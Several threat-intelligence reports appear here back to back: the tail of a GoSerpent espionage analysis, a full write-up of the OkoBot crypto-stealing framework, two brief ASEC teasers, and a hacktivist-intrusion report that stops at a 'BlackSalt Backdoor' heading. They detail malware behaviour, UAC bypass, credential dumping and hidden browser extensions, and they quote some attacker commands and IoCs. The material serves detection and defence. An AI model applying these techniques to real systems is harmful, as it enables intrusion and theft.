The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.

Credential dumping tools

The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:

1. Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
2. QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.

These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.

Second stage of the attacks

After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.

Stowaway

Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:

• SOCKS5 proxying
• port forwarding
• reverse tunneling
• remote shell access
• file transfer
• SSH-based tunneling

Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:

• TmcLoader with an embedded payload
• {BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file

TmcLoader/TmcPayload

TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.

TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.

The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.

TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.

It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.

Toolset integration

What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:

1. ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
2. Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
3. Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
4. TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
5. Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.

This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.

Infrastructure

The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.

Attribution

While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.

Conclusion

The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.

Indicators of compromise

File hashes

GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8

McMx
D6E86BF8A90E9B632ADD5FA495F97FBC

ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C

Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162

TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E

C2 IP addresses

152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226

Introduction

In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.

Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.

Background

TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.

Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.

We dubbed this updated TookPS campaign “OkoBot”.

We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.

Initial infection

The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.

This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.

Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.

Back connection

The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:

1. Open firewall ports for inbound RDP traffic
2. Create a user in the “Remote Desktop Users” group
3. Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
4. Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour

After that, the SSH bot begins retrieving malicious modules over SFTP.

Launcher with advanced options

One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.

Active sessions

At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.

UAC bypass

The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.

Below is the list of all HDUtil commands.

Command	Description
target [nouac [user=<user>]] [noattach] <file>	Starts file and prints its output. If optional argument noattach passed, command to be executed in background. If optional argument nouac passed, automatic UAC bypass to be performed. If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen.
pcopy <file> <dir_src> <dir_dst>	Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot.
enumadapters	Prints names of graphical adapters on current system. Not used by SSH bot.
enumsessions	Prints all sessions on current system. Not used by SSH bot.

Browser extensions loader

The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.

The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.

This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.

Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.

When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.

During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.

All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.

The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.

During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.

Plugins dispatcher

The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.

The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:

Task index	Action
1	Reconfigure client: update session keys, assign ID, switch to another C2
2	Load DLL implant into memory and run its entry point
3	Load plugin into process and register tasks with RegisterPlugin function
4	Restart dispatcher as new process
x	If the task number is none of the above, search for it among the registered plugins

Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.

During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.

• CMD wrapper (10xx): allows running scripts and individual commands in cmd.
• PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
• Environment enumerator (12xx): gathers system information, active sessions, and processes.
• Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
• Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.

We identified four malicious implants that are delivered to the system via the process injector plugin.

ext daemon

The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.

SeedHunter

Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.

Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.

When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.

The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.

MC Keylogger

This module is a keylogger that, in addition to recording user input, performs three malicious activities:

1. Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
2. Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
3. Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.

Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.

OkoSpyware

This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.

The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.

Artifacts exfiltration

The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.

Victims

At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.

Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)

Attribution

At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.

It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.

Conclusion

The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.

The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.

Indicators of compromise

Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Dispatcher

B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll

Plugins

7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector

Injector payloads

3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll

SSH bot utilities

AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe

File paths

%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat

Domains and IPs

2baserec2[.]guru          # TookPS
recavb22[.]online         # TookPS
kbeautyreviews[.]com      # TookPS
coffeesaloon[.]online     # TookPS
104.243.43[.]16           # SSH bot
104.243.32[.]213          # SSH bot
62.210.188[.]209          # SSH bot
livewallpapers[.]online    # Volume2 C2
thatwascringe[.]com        # Volume2 C2
moonsand[.]store          # SeedHunter C2

Contents The AhnLab SEcurity intelligence Center (ASEC) analyzed attack logs from the second quarter of 2026 targeting MS-SQL server and MySQL server installations on Windows. This report summarizes the damage status, attack status, and the classification of the malware and tools used in the attacks. Purpose and Scope The targets are MS-SQL servers and MySQL […]

Content In the second quarter of 2026, the AhnLab SEcurity intelligence Center (ASEC) compiled an analysis of the current attack status for poorly managed Windows web servers and classified the malware used in these attacks. The targets were Internet Information Services (IIS) web servers and Apache Tomcat web servers running in Windows environments. Purpose and […]

While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.

What triggered our investigation was spotting a cluster of indicators of compromise within a breached Russian organization’s infrastructure. We used these footprints to successfully track down other environments hit by the same threat actors and piece together the bigger picture.

This article dives into the software deployed throughout these hacktivist campaigns:

• New ransomware samples
• Scripts used at various stages of the attacks
• Commercially available IT remote monitoring and management (RMM) tools

These include both updated versions of known threat-actor tools and previously unseen software.

Overlapping activity streams

Within the initial organization’s infrastructure, we found numerous activity indicators linked to several interconnected hacktivist groups – which ultimately set the direction for our follow-up analysis. We can attribute the following findings to hacktivist activity with a medium level of confidence:

• Several samples of BlackReaperRAT, which we attribute to the 4BID group, were found alongside scripts designed to download Panorama9 RMM, AnyDesk, and Dev Tunnels.
• Besides the artifacts listed above, we discovered ClearWater ransomware in other compromised infrastructures. Interestingly, during this same window, public sources showed Hakerskii Kit claiming a successful attack on a Russian factory. Also detected in that facility’s infrastructure was ClearWater ransomware, with the attackers publicly thanking the С.A.S. group for their contribution.
• We uncovered several samples of Warp RAT within the hit infrastructures, which we link to the Goffee threat group. A detailed report on this specific activity will be published at a later date.

Technical details

Vulnerable web servers and fd.aspx

Analysis of the compromised environments revealed that the attackers gained initial access in most cases by exploiting the ProxyShell vulnerability in Microsoft Exchange, which allows for full server compromise.

Once inside, the attackers deployed the fd.aspx web shell – a modular ASP.NET file designed for remote control, file transfers, and system reconnaissance. Communication with the web shell relied on a basic security check: if the key parameter in an incoming request failed to match the AUTH_KEY constant, fd.aspx simply returned “Access Denied”.

If the verification was successful, the command contained in the request’s scriptText parameter was passed directly to PowerShell, and the output returned to the operator in the body of the HTTP response. In environments where PowerShell execution was restricted, the web shell swapped it out for cmd.exe. The CreateNoWindow: true and UseShellExecute: false flags were used to keep the command execution hidden from the user.

Beyond running commands, the web shell features bidirectional Base64-encoded file transfers. This allows any binary data – like executables, archives, or certificates – to be passed right inside the body of an HTTP request. The UploadFile function writes files to any directory the web server process can access, which makes it easy to drop additional shells or swap out legitimate files. The DownloadFile function exfiltrates any accessible file from the compromised system back to the attackers’ C2 server.

The web shell also includes a system reconnaissance feature that grabs the following data points:

• OSVersion: operating system version
• MachineName: hostname
• UserName: current username
• UserDomainName: domain name
• ProcessorCount: number of processors
• SystemDirectory: system directory path
• CurrentDirectory: current working directory
• Version: .NET Framework version

Additionally, the reconnaissance feature uses the DriveInfo.GetDrives() function to enumerate running processes and map out connected drives – along with the amount of free space available on each. This file system reconnaissance is topped off with LastWriteTime metadata for each object, which helps the operator quickly spot recently modified files and get their bearings within the storage layout.

Alongside the web shells, we encountered a variety of scripts and C2 frameworks across all compromised infrastructures, which we break down below.

Scripts deployed

Once the attackers gained control over a target system, they moved on to the next phase: loading their required toolkit via custom scripts. Variations of these scripts were consistently found alongside fd.aspx on compromised hosts. Most of them interact with legitimate tools, which makes them look almost identical to routine administrative scripts at first glance. The only real giveaway is the code comments, written in Ukrainian. One such script is responsible for deploying AnyDesk on the compromised host.

The build quality of these scripts is worth discussing separately. Several of them show telltale signs of AI generation; inside some compromised systems, we found multiple iterations of the exact same script, a few of which were completely broken. AI-generated code typically fails to work out of the box and requires manual tweaking to run properly.

First, the script checks for admin privileges, as it cannot proceed without them. If that check passes, it looks for an active anydesk.exe process. If the process is missing, the script fetches and installs the application directly from the official website. Once AnyDesk is successfully installed, the script configures an unattended access password and pulls the unique AnyDesk ID. All the collected details are compiled into a report and exfiltrated to the attackers’ server at 185.221.153[.]121. Because we spotted simultaneous activity from multiple groups – 4BID, Hakerskii Kit, and C.A.S. – on the analyzed hosts, this IP address could potentially belong to any one of them.

Besides AnyDesk, the threat actors leverage other legitimate tools. One example is Microsoft Dev Tunnels, a Microsoft service that exposes a local server to the internet. It’s brought into the system by a separate script that, much like the one for AnyDesk, checks if the utility is already present before downloading it from the official site. In certain instances, the utility was fetched directly from the attackers’ server instead:

Once installed, the application runs, and the resulting connection details are saved to a file named login.txt. The contents of this file consist of standard instructions for using a provided code to authenticate on a Microsoft page through a web browser.

To sign in, use a web browser to open https://login.microsoft.com/device and enter the code [CODE].

As a final step, the script opens up the required ports and creates the tunnel, giving the attackers a back door into the compromised host.

Another script we uncovered handles the installation of Panorama9, a legitimate remote monitoring and management utility. Immediately after downloading that application, the attackers configure it via the registry to hide both its system tray icon and its installation folder. To camouflage the Panorama9 services, the attackers rename them to Windows Update Helper and Windows Update Helper Cache and swap out their descriptions, making the utility look almost identical to standard system components. Once the utility finishes its job, the script clears its tracks.

The attackers used a dedicated script to establish persistence on the system. When executed, it used the net user command to spin up a local user account and then hid it via the registry. The script added this new user to every available local group; if the machine was domain-joined, it also attempted to inject the user into all Active Directory groups.

At the same time, the script tweaked RDP settings: it set the minimum encryption level through the registry, added a firewall rule to allow port 3389, and ran the relevant services.

After it wrapped up its main tasks, the script wiped the event logs, command history, temporary files, and finally itself. Once the attackers got what they wanted out of the infected host, they triggered another script that removed the previously created user account, cleaned out the registry keys generated during the earlier phases, and then deleted itself as well.

The scripts described here are just the most telling examples out of dozens of samples we found. An analysis of the attackers’ toolkit reveals a clear trend: they aren’t just fine-tuning the solutions they’ve used in the past (specifically, the AnyDesk deployment script), but are actively broadening their arsenal with new tools like Panorama9, Dev Tunnels, and others.

Publicly available utilities

As previously mentioned, the attackers leverage a broad spectrum of dual-use public software, such as all kinds of remote monitoring and management utilities. While they use the scripts discussed above to drop some of the utilities onto systems, we didn’t encounter scripts for others, so we can’t confirm whether any exist. We observed the following tools deployed across the campaigns in question:

• AnyDesk: a remote administration tool
• Advanced IP Scanner: a network scanning utility
• Dev Tunnels: a Microsoft service used for exposing a server to the internet
• Panorama9: an IT infrastructure management and monitoring service
• Nezha Monitoring: a server status monitoring utility
• Tactical RMM: a remote monitoring and management tool

C2 and communications

To gain a foothold in the victim’s infrastructure, the attackers relied on several post-exploitation frameworks. Some of these are publicly available utilities, while others are custom-built.

Among the publicly available tools in the group’s arsenal are:

• Sliver
• Havoc
• Apollo Mythic
• Adaptix

We also discovered a previously undocumented backdoor, dubbed BlackSalt, which contacts the C2 server to fetch commands and executes them via cmd.exe.

Sliver

On several hosts, following the initial Microsoft Exchange server compromise, files named upd.exe, winhost.exe, update1.exe, update.exe, and akolo.exe were dropped alongside the previously mentioned fd.aspx files and scripts. All of them were located in the C:\Windows\System32\inetsrv\ directory and were configured as SFX archives with nearly identical payloads, which ran an install.bat script upon extraction.

The script copies the malicious components into the Windows folder and installs servicechecker.bat as a system service. To do this, it leverages the legitimate Windows Service Wrapper (WinSW) utility included in the archive under the filename backupsrv.exe. The archive also contains the WinSW configuration file, backupsrv.xml, which specifies exactly which script should be registered as a service. Once installed, servicechecker.bat is configured to run automatically on system boot.

The servicechecker.bat script, in turn, runs backupagnt.exe, a loader for the main malicious component housed in WindowsInternal.UpdateComponent.dll. This file was built with the help of the Donut utility and is encrypted with a simple single-byte XOR key (0x0F). Its primary job is to inject the Sliver code straight into the device’s memory.

All Sliver instances uncovered during this investigation were configured to communicate with the C2 server at 185.221.153[.]121 over mTLS.

Havoc

Inside a similar SFX archive located in the user directory $user\desktop\ under the filename demon.x64.exe, we found another post-exploitation framework: Havoc. This instance was configured to communicate with the C2 server at 77.72.85[.]62.

Apollo

Mythic Apollo is a cross-platform post-exploitation agent used within the Mythic framework to manage compromised systems. It provides a persistent connection to the C2 server, executes operator commands, handles file uploads/downloads, runs arbitrary code, and supports expansion via plugins. We previously provided a detailed breakdown of the Mythic framework in our post, Hunting for Mythic in Network Traffic.

Here is an example of the Mythic Apollo configuration we encountered in these hacktivist attacks:

This specific sample of the .NET Mythic Apollo agent was compiled with an extensive suite of modules and supports multiple transport profiles that enable communication via HTTP, TCP, WebSocket, SMB, named pipes, and web shells. The C2 address 77.72.85[.]62 is hardcoded into its configuration.

Adaptix

AdaptixC2 is another post-exploitation framework in the attackers’ arsenal. This is a relatively new open-source project, which we broke down in our post, Adapt or pay:an analysis of the AdaptixC2 framework.

The agent samples discovered during our investigation into these hacktivist campaigns consist of a packed AdaptixC2 Beacon delivered via a custom x64 loader. Upon execution, the payload decrypts an embedded shellcode, allocates memory, and executes the malicious payload using the CreateThread WinAPI function. Packed inside the shellcode is the AdaptixC2 Beacon agent in DLL format, featuring a configuration encrypted using RC4.

According to the AdaptixC2 classification system, this agent falls under the BEACON_HTTP type. It is capable of executing commands, performing file operations, enumerating and killing processes, launching new programs, and exfiltrating data back to the C2. It also supports SOCKS port forwarding and BOF modules.

AdaptixC2 uses encryption to keep its configuration under wraps. The corresponding block contains the data size, the actual RC4-encrypted configuration, and a 16-byte key.

BlackSalt Backdoor

